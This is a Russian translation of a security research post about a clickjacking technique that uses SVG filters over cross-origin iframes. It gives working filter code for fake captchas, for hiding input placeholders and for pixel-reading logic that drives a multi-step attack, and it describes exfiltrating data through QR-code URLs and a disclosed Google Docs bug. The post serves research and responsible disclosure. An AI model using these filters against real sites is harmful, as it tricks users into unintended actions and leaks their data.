javascript

SVG-фильтры как язык атак: кликджекинг нового поколения

  • вторник, 27 января 2026 г. в 00:00:04
https://habr.com/ru/articles/986358/

Команда JavaScript for Devs подготовила перевод исследования о новой технике кликджекинга, которая использует SVG-фильтры как полноценную среду выполнения логики. Автор показывает, как с их помощью читать пиксели, строить логические схемы, реализовывать многошаговые атаки и даже эксфильтрировать данные через QR-коды — включая реальный кейс атаки на Google Docs.


Кликджекинг — это классическая атака, суть которой заключается в том, что поверх страницы размещается iframe с другим сайтом, чтобы обманом заставить пользователя непреднамеренно с ним взаимодействовать. Это отлично работает, если нужно вынудить человека нажать одну-две кнопки, но для чего-то более сложного такой подход выглядит довольно нереалистичным.

Я обнаружил новую технику, которая переворачивает классический кликджекинг с ног на голову и позволяет создавать сложные интерактивные кликджекинг-атаки, а также реализовывать несколько способов эксфильтрации данных.

Я называю эту технику «SVG-кликджекинг».

(Фото-анимацию можно посмотреть в источнике)

Liquid SVG

День, когда Apple анонсировала новый редизайн Liquid Glass, был довольно хаотичным. В соцсетях невозможно было пролистать ленту так, чтобы через пост не натыкаться на обсуждение нового дизайна — кто-то критиковал его за кажущуюся недоступность, а кто-то восхищался тем, насколько реалистично выглядят эффекты преломления.

Утопая в этом потоке публикаций, я задумался: насколько сложно воссоздать такой эффект? Смогу ли я сделать это в вебе, не прибегая к canvas и шейдерам? Я взялся за дело, и примерно через час у меня уже была довольно точная CSS/SVG-реализация этого эффекта¹.

(Фото-анимацию можно посмотреть в источнике)

Мой небольшой технический демо-проект произвёл заметный эффект в сети и даже привёл к появлению новостной статьи с, пожалуй, самой безумной цитатой обо мне на сегодняшний день: «Samsung и другим до неё далеко».

Прошло несколько дней, и у меня возникла ещё одна мысль: а будет ли этот SVG-эффект работать поверх iframe?

Казалось бы, нет. Способ, которым эффект «преломляет свет»², слишком сложен, чтобы работать с документом другого источника.

Но, к моему удивлению, он работал.

Это показалось мне особенно интересным потому, что мой эффект «жидкого стекла» использует SVG-фильтры feColorMatrix и feDisplacementMap — первый изменяет цвета пикселей, а второй смещает их. И я мог делать это поверх документа другого происхождения?

Это заставило меня задуматься: а работают ли другие фильтры с iframe и можно ли превратить это во что-то атакующее? Оказалось, что работают все — и да, можно.

Строительные блоки

Я взялся за работу, последовательно разобрав все SVG-элементы вида <fe*> и выяснив, какие из них можно комбинировать для построения собственных примитивов атак.

Эти элементы фильтров принимают одно или несколько входных изображений, применяют к ним операции и на выходе выдают новое изображение. В рамках одного SVG-фильтра можно выстроить цепочку из множества таких элементов и ссылаться на результат любого предыдущего шага в этой цепочке.

Давайте рассмотрим некоторые из наиболее полезных базовых элементов, с которыми можно поэкспериментировать:

  • feImage> — загрузка изображения;

  • <feFlood> — рисование прямоугольника;

  • feOffset> — смещение объектов;

  • <feDisplacementMap> — смещение пикселей по карте;

  • <feGaussianBlur> — размытие;

  • <feTile> — утилита для тайлинга и обрезки;

  • <feMorphology> — расширение / увеличение светлых или тёмных областей;

  • <feBlend> — смешивание двух входов в соответствии с режимом;

  • <feComposite> — утилиты композиции, можно использовать для применения альфа-маски или выполнения различных арифметических операций над одним или двумя входами;

  • <feColorMatrix> — применение цветовой матрицы, позволяет переносить цвета между каналами и преобразовывать альфа-маски и яркостные маски.

Неплохой набор инструментов!

Это фундаментальные строительные блоки компьютерной графики, которые можно комбинировать в самые разные полезные примитивы. Давайте посмотрим на несколько примеров.

Поддельная капча

Начнём с примера простой эксфильтрации данных. Предположим, вы нацелились на iframe, внутри которого отображается некий чувствительный код. Можно было бы просто попросить пользователя перепечатать его вручную, но это, скорее всего, вызвало бы подозрения.

Вместо этого можно воспользоваться feDisplacementMap, чтобы сделать так, будто текст — это капча. В таком виде пользователь с гораздо большей вероятностью перепечатает код.

(Данная анимация доступна в источнике)

<iframe src="..." style="filter:url(#captchaFilter)"></iframe>
<svg width="768" height="768" viewBox="0 0 768 768" xmlns="http://www.w3.org/2000/svg">
  <filter id="captchaFilter">
    <feTurbulence
      type="turbulence"
      baseFrequency="0.03"
      numOctaves="4"
      result="turbulence" />
    <feDisplacementMap
      in="SourceGraphic"
      in2="turbulence"
      scale="6"
      xChannelSelector="R"
      yChannelSelector="G" />
  </filter>
</svg>

Примечание: имеет значение только содержимое блока <filter>, всё остальное — лишь пример использования фильтров.

Добавьте сюда цветовые эффекты и случайные линии — и у вас получится вполне убедительная капча!

Из всех примитивов атак, о которых я буду рассказывать, этот, пожалуй, наименее полезен: сайты редко позволяют встраивать страницы, на которых отображаются магические секретные коды. Тем не менее я решил его показать, поскольку это довольно простое введение в саму технику атаки.

)]}'
[[1337],[1,"AIzaSyAtbm8sIHRoaXMgaXNuJ3QgcmVhbCBsb2w",0,"a",30],[768972,768973,768932,768984,768972,768969,768982,768969,768932,768958,768951],[105,1752133733,7958389,435644166009,7628901,32481100117144691,28526,28025,1651273575,15411]]

Тем не менее это всё же может оказаться полезным, поскольку нередко разрешается встраивать iframe с read-only API-эндпоинтами, так что, возможно, здесь ещё есть атака, которую предстоит обнаружить.

Скрытие серого текста

Следующий пример подходит для ситуаций, когда нужно обманом заставить пользователя, например, взаимодействовать с текстовым полем ввода. Часто такие поля содержат серый плейсхолдер, поэтому просто показать само поле ввода будет недостаточно.

Давайте посмотрим на наш целевой пример (попробуйте что-нибудь ввести в поле).

(Данная анимация доступна в источнике)

В этом случае мы хотим заставить пользователя задать пароль, известный атакующему, поэтому нам важно, чтобы пользователь видел вводимый текст, но не видел серый плейсхолдер и красную надпись «слишком короткий».

Начнём с использования feComposite в режиме арифметики, чтобы скрыть серый текст. Арифметическая операция принимает два изображения — i1 (in=...) и i2 (in2=...) — и позволяет выполнять попиксельные вычисления с параметрами k1, k2, k3, k4 по следующей формуле: результат = k1·i1·i2 + k2·i1 + k3·i2 + k4.

<feComposite operator=arithmetic
             k1=0 k2=4 k3=0 k4=0 />

Совет: параметры in / in2 можно опустить, если вы хотите работать просто с результатом предыдущего шага.

Мы уже близки к цели — увеличив яркость изображения, мы убрали серый текст, но теперь чёрный текст выглядит подозрительно и читается хуже, особенно на экранах с масштабом 1×.

Можно поиграться с параметрами, чтобы найти баланс между скрытием серого текста и отображением чёрного, но в идеале хотелось бы, чтобы чёрный текст выглядел как обычно — просто без всякого серого текста. Возможно ли это?

И вот здесь в дело вступает действительно классный приём — маскирование. Мы создадим маску (matte), которая «вырежет» чёрный текст и скроет всё остальное. Для достижения нужного результата потребуется несколько шагов, так что разберём их по порядку.

Сначала обрежем результат фильтра для чёрного текста с помощью feTile.

(Данная анимация доступна в источнике)

<feTile x=20 y=56 width=184 height=22 />

Примечание: Safari, похоже, испытывает некоторые проблемы с feTile, поэтому, если вы пишете атаку под Safari, обрезку можно выполнить, создав яркостную маску с помощью feFlood, а затем применив её.

Затем используем feMorphology, чтобы увеличить толщину текста.

(Данная анимация доступна в источнике)

<feMorphology operator=erode radius=3 result=thick />

Теперь нужно увеличить контраст маски. Я сделаю это следующим образом: сначала с помощью feFlood создам сплошное белое изображение, затем применю feBlend в режиме difference, чтобы инвертировать маску. После этого воспользуемся feComposite, чтобы умножить маску и усилить контраст.

(Данная анимация доступна в источнике)

<feFlood flood-color=#FFF result=white />
<feBlend mode=difference in=thick in2=white />
<feComposite operator=arithmetic k2=100 />

Теперь у нас есть яркостная маска! Осталось преобразовать её в альфа-маску с помощью feColorMatrix, применить её к исходному изображению через feComposite и сделать фон белым с помощью feBlend.

(Данная анимация доступна в источнике)

<feColorMatrix type=matrix
        values="0 0 0 0 0
                0 0 0 0 0
                0 0 0 0 0
                0 0 1 0 0" />
<feComposite in=SourceGraphic operator=in />
<feBlend in2=white />

Выглядит довольно неплохо, правда? Если очистить поле ввода (попробуйте!), можно заметить некоторые артефакты, которые выдают, что именно мы сделали, но в остальном это весьма неплохой способ «вылепливать» и подгонять различные поля ввода под нужды атаки.

Существует множество других эффектов, которые можно добавить, чтобы поле ввода выглядело именно так, как нужно. Давайте объединим всё вместе в полноценный пример атаки.

(Данная анимация доступна в источнике)

<filter>
  <feComposite operator=arithmetic
               k1=0 k2=4 k3=0 k4=0 />
  <feTile x=20 y=56 width=184 height=22 />
  <feMorphology operator=erode radius=3 result=thick />
  <feFlood flood-color=#FFF result=white />
  <feBlend mode=difference in=thick in2=white />
  <feComposite operator=arithmetic k2=100 />
  <feColorMatrix type=matrix
      values="0 0 0 0 0
              0 0 0 0 0
              0 0 0 0 0
              0 0 1 0 0" />
  <feComposite in=SourceGraphic operator=in />
  <feTile x=21 y=57 width=182 height=20 />
  <feBlend in2=white />
  <feBlend mode=difference in2=white />
  <feComposite operator=arithmetic k2=1 k4=0.02 />
</filter>

Теперь видно, как текстовое поле полностью переосмыслено и вписано в другой дизайн, оставаясь при этом полностью работоспособным.

Чтение пикселей

И вот мы подходим, пожалуй, к самому полезному примитиву атаки — чтению пикселей. Да, с помощью SVG-фильтров действительно можно считывать цветовые данные изображений и выполнять над ними всевозможную логику, создавая по-настоящему продвинутые и убедительные атаки.

Разумеется, есть нюанс: всё приходится делать исключительно внутри SVG-фильтров — получить данные наружу невозможно. Тем не менее, при творческом подходе этот механизм оказывается чрезвычайно мощным.

На более высоком уровне это позволяет сделать кликаджекинг-атаки полностью «живыми»: поддельные кнопки могут реагировать на наведение, нажатия могут открывать фейковые выпадающие списки и диалоговые окна, а также можно реализовать поддельную валидацию форм.

Начнём с простого примера — определения того, является ли пиксель чисто чёрным, и использования этого факта для включения или отключения другого фильтра

(Данная анимация доступна в источнике)

Для нашей цели мы хотим определить момент, когда пользователь кликает по области, меняя её цвет, и использовать это событие для переключения эффекта размытия.

<feTile x="50" y="50"
        width="4" height="4" />
<feTile x="0" y="0"
        width="100%" height="100%" />

Сначала используем две копии фильтра feTile: одной вырезаем несколько интересующих нас пикселей, а второй размножаем их по всей области изображения.

В результате весь экран оказывается залит цветом той области, которая нас интересует.

<feComposite operator=arithmetic k2=100 />

Далее мы можем превратить этот результат в бинарное значение «вкл / выкл», используя арифметику feComposite так же, как в предыдущем разделе, но с гораздо большим значением k2. Это приводит к тому, что выходное изображение становится либо полностью чёрным, либо полностью белым.

<feColorMatrix type=matrix
  values="0 0 0 0 0
          0 0 0 0 0
          0 0 0 0 0
          0 0 1 0 0" result=mask />
<feGaussianBlur in=SourceGraphic
                stdDeviation=3 />
<feComposite operator=in in2=mask />
<feBlend in2=SourceGraphic />

И, как и раньше, это можно использовать в качестве маски. Мы снова преобразуем её в альфа-маску, но на этот раз применяем её к фильтру размытия.

Вот так можно определить, является ли пиксель чёрным, и использовать это для включения или выключения фильтра.

(Данная анимация доступна в источнике)

Ой-ой! Похоже, кто-то изменил цель — и вместо неё теперь кнопка в стиле прайда!

Как адаптировать эту технику, чтобы она работала с произвольными цветами и текстурами?

<!-- crop to first stripe of the flag -->
<feTile x="22" y="22"
        width="4" height="4" />
<feTile x="0" y="0" result="col"
        width="100%" height="100%" />
<!-- generate a color to diff against -->
<feFlood flood-color="#5BCFFA"
         result="blue" />
<feBlend mode="difference"
         in="col" in2="blue" />
<!-- k4 is for more lenient threshold -->
<feComposite operator=arithmetic
             k2=100 k4=-5 />
<!-- do the masking and blur stuff... -->
...

Решение довольно простое: можно просто использовать difference у feBlend в сочетании с feColorMatrix, чтобы объединить цветовые каналы и превратить изображение в похожую чёрно-белую маску, как и раньше. Для текстур можно использовать feImage, а для неточного совпадения цветов — немного арифметики feComposite, чтобы сделать порог совпадения более мягким.

Вот и всё — простой пример того, как можно считать значение пикселя и использовать его, чтобы переключать фильтр.

Логические элементы

А вот здесь начинается самое интересное. Мы можем повторять процесс чтения пикселей, считывая сразу несколько пикселей, а затем выполнять над ними логику и тем самым «программировать» атаку.

Используя feBlend и feComposite, можно воссоздать все логические элементы и сделать SVG-фильтры функционально полными. Это означает, что мы можем реализовать любую программу — при условии, что она не завязана на тайминги и не потребляет слишком много ресурсов.

(Посмотреть анимацию можно в источнике)

Именно из таких логических элементов и состоят современные компьютеры. При желании можно построить компьютер внутри SVG-фильтра. На самом деле вот базовый калькулятор, который я сделал:

(Анимация калькулятора доступна в источнике)

Это схема полного сумматора. Этот фильтр реализует логические выражения S = A ⊕ B ⊕ C_in для выходного бита и C_out = (A ∧ B) ∨ (C_in ∧ (A ⊕ B)) для бита переноса, используя логические элементы, описанные выше. Существуют более эффективные способы реализовать сумматор с помощью SVG-фильтров, но здесь цель — показать, что произвольные логические схемы в принципе можно реализовать.

<!-- util -->
<feOffset in="SourceGraphic" dx="0" dy="0" result=src />
<feTile x="16px" y="16px" width="4" height="4" in=src />
<feTile x="0" y="0" width="100%" height="100%" result=a />
<feTile x="48px" y="16px" width="4" height="4" in=src />
<feTile x="0" y="0" width="100%" height="100%" result=b />
<feTile x="72px" y="16px" width="4" height="4" in=src />
<feTile x="0" y="0" width="100%" height="100%" result=c />
<feFlood flood-color=#FFF result=white />
<!-- A ⊕ B -->
<feBlend mode=difference in=a in2=b result=ab />
<!-- [A ⊕ B] ⊕ C -->
<feBlend mode=difference in2=c />
<!-- Save result to 'out' -->
<feTile x="96px" y="0px" width="32" height="32" result=out />
<!-- C ∧ [A ⊕ B] -->
<feComposite operator=arithmetic k1=1 in=ab in2=c result=abc />
<!-- (A ∧ B) -->
<feComposite operator=arithmetic k1=1 in=a in2=b />
<!-- [A ∧ B] ∨ [C ∧ (A ⊕ B)] -->
<feComposite operator=arithmetic k2=1 k3=1 in2=abc />
<!-- Save result to 'carry' -->
<feTile x="64px" y="32px" width="32" height="32" result=carry />
<!-- Combine results -->
<feBlend in2=out />
<feBlend in2=src result=done />
<!-- Shift first row to last -->
<feTile x="0" y="0" width="100%" height="32" />
<feTile x="0" y="0" width="100%" height="100%" result=lastrow />
<feOffset dx="0" dy="-32" in=done />
<feBlend in2=lastrow />
<!-- Crop to output -->
<feTile x="0" y="0" width="100%" height="100%" />

В любом случае, для атакующего всё это означает следующее: можно сделать многошаговую кликджекинг-атаку с кучей условий и интерактивности. И можно выполнять логику над данными из cross-origin фреймов.

Вот пример цели, в котором мы хотим обманом заставить пользователя отметить себя как «взломанного», и для этого нужно выполнить несколько шагов:

  • Нажать кнопку, чтобы открыть диалоговое окно

  • Дождаться, пока диалоговое окно загрузится

  • Поставить галочку в чекбоксе внутри диалога

  • Нажать ещё одну кнопку в диалоговом окне

  • Проверить, появился ли красный текст

(Посмотреть анимацию можно в источнике)

Традиционную кликджекинг-атаку против такой цели было бы сложно провернуть. Вам пришлось бы заставить пользователя нажать несколько кнопок подряд вообще без какой-либо обратной связи в интерфейсе.

Есть пара трюков, которые могли бы сделать классическую атаку убедительнее того, что показано выше, но всё равно это будет выглядеть максимально подозрительно. А как только в схеме появляется что-то вроде текстового поля ввода, всё просто перестаёт работать.

В любом случае давайте набросаем дерево логики для атаки на основе фильтра:

  • Диалоговое окно открыто?

    • (Нет) Есть красный текст?

      • (Нет) Заставляем пользователя нажать кнопку

      • (Да) Показываем финальный экран

    • (Да) Диалог загрузился?

      • (Нет) Показываем экран загрузки

      • (Да) Чекбокс отмечен?

        • (Нет) Заставляем пользователя отметить чекбокс

        • (Да) Заставляем пользователя нажать кнопку

Что можно выразить через логические элементы так:

  • Входы

    • D (диалог виден) = проверяем затемнение фона

    • L (диалог загружен) = проверяем наличие кнопки в диалоге

    • C (чекбокс отмечен) = проверяем, синяя кнопка или серая

    • R (виден красный текст) = feMorphology и проверка на красные пиксели

  • Выходы

    • (¬D) ∧ (¬R) => button1.png

    • D ∧ (¬L) => loading.png

    • D ∧ L ∧ (¬C) => checkbox.png

    • D ∧ L ∧ C => button2.png

    • (¬D) ∧ R => end.png

И вот как это можно реализовать в SVG:

<!-- util -->
<feTile x="14px" y="4px" width="4" height="4" in=SourceGraphic />
<feTile x="0" y="0" width="100%" height="100%" />
<feColorMatrix type=matrix result=debugEnabled
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feFlood flood-color=#FFF result=white />
<!-- attack imgs -->
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=button1.png></feImage>
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=loading.png></feImage>
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=checkbox.png></feImage>
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=button2.png></feImage>
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=end.png></feImage>
<!-- D (dialog visible) -->
<feTile x="4px" y="4px" width="4" height="4" in=SourceGraphic />
<feTile x="0" y="0" width="100%" height="100%" />
<feBlend mode=difference in2=white />
<feComposite operator=arithmetic k2=100 k4=-1 result=D />
<!-- L (dialog loaded) -->
<feTile x="313px" y="141px" width="4" height="4" in=SourceGraphic />
<feTile x="0" y="0" width="100%" height="100%" result="dialogBtn" />
<feBlend mode=difference in2=white />
<feComposite operator=arithmetic k2=100 k4=-1 result=L />
<!-- C (checkbox checked) -->
<feFlood flood-color=#0B57D0 />
<feBlend mode=difference in=dialogBtn />
<feComposite operator=arithmetic k2=4 k4=-1 />
<feComposite operator=arithmetic k2=100 k4=-1 />
<feColorMatrix type=matrix
               values="1 1 1 0 0
                       1 1 1 0 0
                       1 1 1 0 0
                       1 1 1 1 0" />
<feBlend mode=difference in2=white result=C />
<!-- R (red text visible) -->
<feMorphology operator=erode radius=3 in=SourceGraphic />
<feTile x="17px" y="150px" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result=redtext />
<feColorMatrix type=matrix
               values="0 0 1 0 0
                       0 0 0 0 0
                       0 0 0 0 0
                       0 0 1 0 0" />
<feComposite operator=arithmetic k2=2 k3=-5 in=redtext />
<feColorMatrix type=matrix result=R
               values="1 0 0 0 0
                       1 0 0 0 0
                       1 0 0 0 0
                       1 0 0 0 1" />
<!-- Attack overlays -->
<feColorMatrix type=matrix in=R
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feComposite in=end.png operator=in />
<feBlend in2=button1.png />
<feBlend in2=SourceGraphic result=out />
<feColorMatrix type=matrix in=C
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feComposite in=button2.png operator=in />
<feBlend in2=checkbox.png result=loadedGraphic />
<feColorMatrix type=matrix in=L
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feComposite in=loadedGraphic operator=in />
<feBlend in2=loading.png result=dialogGraphic />
<feColorMatrix type=matrix in=D
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feComposite in=dialogGraphic operator=in />
<feBlend in2=out />

(Посмотреть анимацию можно в источнике)

Поиграйте с этим и посмотрите, насколько более убедительно это выглядит как атака. И мы легко могли бы сделать её ещё лучше — например, добавив дополнительную логику, чтобы кнопки также показывали визуальные эффекты при наведении. В демо есть отладочная визуализация четырёх входов (D, L, C, R) — в левом нижнем углу они отображаются квадратами, чтобы было проще понять, что происходит.

Но да — вот так можно делать сложные и длинные кликджекинг-атаки, которые были нереалистичны при использовании традиционных методов кликджекинга.

Я сделал этот пример довольно коротким и простым, но атаки в реальном мире могут быть куда более комплексными и отполированными.

На самом деле…

Баг в Docs

Мне действительно удалось провернуть эту атаку против Google Docs!

Посмотрите демо-видео здесь (альтернативные ссылки: bsky, twitter).

Суть атаки следующая:

  • Пользователь нажимает кнопку «Generate Document»

  • После нажатия обнаруживается всплывающее окно, и пользователю показывается текстовое поле, в которое нужно ввести «капчу»

    • Текстовое поле изначально имеет градиентную анимацию, которую необходимо корректно обработать

    • У текстового поля есть состояния фокуса, которые тоже должны быть отражены в визуализации атаки, поэтому их нужно определять по цвету фона поля

    • В текстовом поле есть серый текст как для плейсхолдера, так и для подсказок, и его необходимо скрыть с помощью техники, описанной ранее

  • После ввода капчи пользователя как бы заставляют нажать кнопку (или клавишу Enter), из-за чего в текстовое поле добавляется предложенный элемент Docs

    • Этот элемент нужно обнаружить, анализируя цвет его фона внутри текстового поля После обнаружения элемента текстовое поле должно быть скрыто, а вместо него показана другая кнопка

  • После нажатия этой кнопки появляется экран загрузки, который также необходимо обнаружить

    • Если экран загрузки присутствует либо диалоговое окно не видно и кнопка «Generate Document» отсутствует, атака считается завершённой, и должен быть показан финальный экран

Ранее отдельные части такой атаки можно было реализовать с помощью классического кликджекинга и простого CSS, но целиком атака получалась бы слишком длинной и сложной, чтобы выглядеть реалистично. С появлением этой новой техники — выполнения логики внутри SVG-фильтров — подобные атаки становятся практичными.

Google VRP выплатили мне $3133.70 за эту находку. Разумеется, это произошло прямо перед тем, как они ввели бонус за новые классы уязвимостей. Хмпф!¹⁰

QR-атака

В онлайн-обсуждениях я часто вижу утверждения о том, что QR-коды якобы опасны. Меня это немного раздражает, потому что QR-коды не опаснее обычных ссылок.

Обычно я не особо это комментирую — подозрительные ссылки лучше не открывать, и то же самое относится к QR-кодам, — но меня задевает, когда QR-коды выставляют каким-то злом, которое якобы может мгновенно вас взломать.

Однако оказалось, что моя техника атак с использованием SVG-фильтров применима и к QR-кодам!

Пример из предыдущей части статьи с перепечатыванием кода становится непрактичным, как только пользователь понимает, что вводит что-то, чего вводить не должен. Запихнуть эксфильтрируемые данные в ссылку тоже не получится, потому что SVG-фильтр не может создавать ссылки.

Но раз SVG-фильтр умеет выполнять логику и выводить визуальный результат, может быть, мы сможем сгенерировать QR-код со ссылкой?

Создание QR-кода

Создать QR-код внутри SVG-фильтра, однако, не так просто. С помощью feDisplacementMap мы можем сформировать бинарные данные в форме QR-кода, но чтобы QR-код можно было отсканировать, ему также нужны данные коррекции ошибок.

QR-коды используют коррекцию ошибок Рида — Соломона — это довольно занятная математика, заметно более сложная, чем простой контрольной суммой. Там используются многочлены и прочие радости, и воспроизводить всё это в SVG — та ещё морока.

К счастью, я уже сталкивался с этой проблемой раньше! В 2021 году я стал первым человеком¹¹, сделавшим генератор QR-кодов в Minecraft, так что все необходимые вещи я уже успел разобрать.

В той реализации я заранее вычислил несколько таблиц для коррекции ошибок и использовал их, чтобы упростить конструкцию — и то же самое можно сделать и в SVG-фильтре.

Этот пост и так уже получился довольно длинным, так что я оставлю разбор того, как именно работает этот фильтр, в качестве упражнения для читателя ;).

(Посмотреть анимацию можно в источнике)

Это демо отображает QR-код, который сообщает, сколько секунд вы находитесь на этой странице. Он довольно капризный, так что если что-то не работает, убедитесь, что у вас не включено масштабирование дисплея и не используется кастомный цветовой профиль. В Windows можно переключить настройку Automatically manage color for apps, а на Mac — установить цветовой профиль sRGB.

Это демо не работает на мобильных устройствах. Кроме того, на данный момент оно работает только в браузерах на базе Chromium, хотя, я считаю, его вполне можно было бы заставить работать и в Firefox.

Аналогично, в реальной атаке проблемы с масштабированием и цветовыми профилями можно было бы обойти с помощью некоторых JavaScript-трюков или просто реализовав фильтр немного иначе — здесь же это всего лишь доказательство концепции, слегка сыроватое по краям.

Но да — это генератор QR-кодов, целиком построенный внутри SVG-фильтра!

На его создание ушло немало времени, но мне не хотелось писать об этом как о чём-то «теоретически возможном».

Сценарий атаки

Итак, сценарий атаки с QR-кодом выглядит следующим образом: вы считываете пиксели из фрейма, обрабатываете их, извлекая нужные данные, кодируете их в URL вида https://lyra.horse/?ref=c3VwZXIgc2VjcmV0IGluZm8 и отображаете его в виде QR-кода.

Затем вы по какой-нибудь причине (например, «проверка на бота») просите пользователя отсканировать этот QR-код. Для него URL будет выглядеть как совершенно обычная ссылка с каким-нибудь идентификатором отслеживания.

Как только пользователь открывает эту ссылку, ваш сервер получает запрос и извлекает данные из URL.

И так далее…

Способов применения этой техники так много, что разобрать их все в одном посте просто невозможно. В качестве примеров можно привести чтение текста с помощью режима смешивания difference или эксфильтрацию данных, заставляя пользователя кликать по определённым областям экрана.

Можно даже подмешивать данные извне и сделать внутри SVG фейковый курсор мыши, который выглядит как настоящий указатель и реагирует на поддельные кнопки внутри SVG, делая эксфильтрацию ещё более правдоподобной.

Либо можно писать атаки на CSS и SVG для сценариев, где CSP не разрешает использовать JavaScript.

В общем, пост и так получился длинным, так что разбор этих техник я оставлю в качестве домашнего задания.

Новая техника

Впервые за всю мою практику в области безопасности мне удалось найти полностью новую технику!

Я кратко рассказал о ней на своём докладе на BSides в сентябре, а этот пост — более подробный разбор самой техники и способов её применения.

Разумеется, нельзя быть на 100 % уверенным, что какой-то конкретный тип атаки никогда раньше никем не был найден, но мой обширный поиск по существующим исследованиям в области безопасности ничего подобного не выявил. Так что, полагаю, я могу считать себя исследователем, который её открыл?

Вот какие предыдущие работы я нашёл:

  • You click, I steal: analyzing and detecting click hijacking attacks in web pages

  • On the fragility and limitations of current Browser-provided Clickjacking protection schemes

    • В этих статьях упоминаются SVG-фильтры в контексте кликджекинг-атак, но лишь как способ скрывать элементы под ними, а не выполнять логику.

  • Pixel Perfect Timing — Attacks with HTML5

  • Security: SVG Filter Timing Attack

    • Исследования по чтению пикселей через тайминговые атаки на SVG-фильтры — техника, которая в современных браузерах уже устранена.

  • The Human Side Channel

    • Довольно интересные кликджекинг-техники, но без многошаговых атак и без логики в SVG.

  • SVG is turing-complete-ish

    • Ещё один пример логических элементов в SVG, который я нашёл уже после написания поста. Забавно, что к нему прилагаются обсуждения на Reddit и HN — особенно мне понравился комментарий с вопросом, полезна ли эта тьюринг-полнота или это просто забавный факт, и ответ, подтверждающий второе. Мне нравится превращать забавные факты в уязвимости ^^.

    • Стоит отметить, что вопрос о том, являются ли SVG-фильтры на самом деле тьюринг-полными, остаётся спорным, поскольку фильтры реализованы в режиме постоянного времени и не могут выполняться в цикле. Это не означает, что они не могут быть тьюринг-полными, но и не доказывает, что могут.

Я не думаю, что открытие этой техники — просто удача. У меня есть опыт восприятия таких вещей, как CSS, в качестве языков программирования, с которыми можно экспериментировать и которые можно эксплуатировать. Увидеть SVG-фильтры как язык программирования для меня тоже не было чем-то натянутым.

Плюс к этому — пересечение моих интересов в области безопасности и креативных проектов. Я часто размываю границы между ними, и именно из этого родился Antonymph.

В любом случае, ощущения от открытия чего-то подобного — это чистое.

Послесловие

Ух, этот пост занял у меня просто неприлично много времени!

Я начал работать над ним в июле и рассчитывал опубликовать его вместе со своим докладом про CSS в сентябре, но в итоге доводка заняла гораздо больше времени, чем я ожидал. Мне хотелось сделать действительно глубокий и качественный материал, а не просто выложить что-то как можно быстрее.

В отличие от предыдущих постов, здесь мне, к сожалению, пришлось нарушить традицию обходиться без изображений — для демо мне понадобилось несколько data URI внутри SVG-фильтров. При этом в остальной части поста изображений всё равно нет, нет JavaScript, и весь handcrafted HTML/CSS/SVG весит всего 42 КБ (gzip).

Также обычно я прячу в своих постах кучу пасхалок со ссылками на вещи, которые мне недавно понравились, но в этот раз есть пара ссылок, которые я не хотел добавлять без контент-варнингов. Finding Responsibility — это довольно мрачный доклад об этике и ответственности за то, чтобы твоя работа не приводила к гибели людей, а youre the one ive always wanted — слегка NSFW-вент-арт из doggyhell.

Кстати, скоро я буду выступать на 39c3 и Disobey 2026! Доклад на 39c3 называется «css clicker training» и будет посвящён CSS-преступлениям и созданию игр на CSS. А на Disobey это будет тот же доклад, что и на BSides, про использование CSS для взломов и багбаунти, но я обязательно добавлю туда дополнительный контент, чтобы было интереснее.

Увидимся!

Примечание: если вы делаете контент (статьи, видео и т. д.) на основе этого поста, не стесняйтесь писать мне — буду рад вопросам и фидбэку.

Обсудить этот пост: twitter, mastodon, lobsters

Русскоязычное JavaScript сообщество

Друзья! Эту статью перевела команда «JavaScript for Devs» — сообщества, где мы делимся практическими кейсами, инструментами для разработчиков и свежими новостями из мира Frontend. Подписывайтесь, чтобы быть в курсе и ничего не упустить!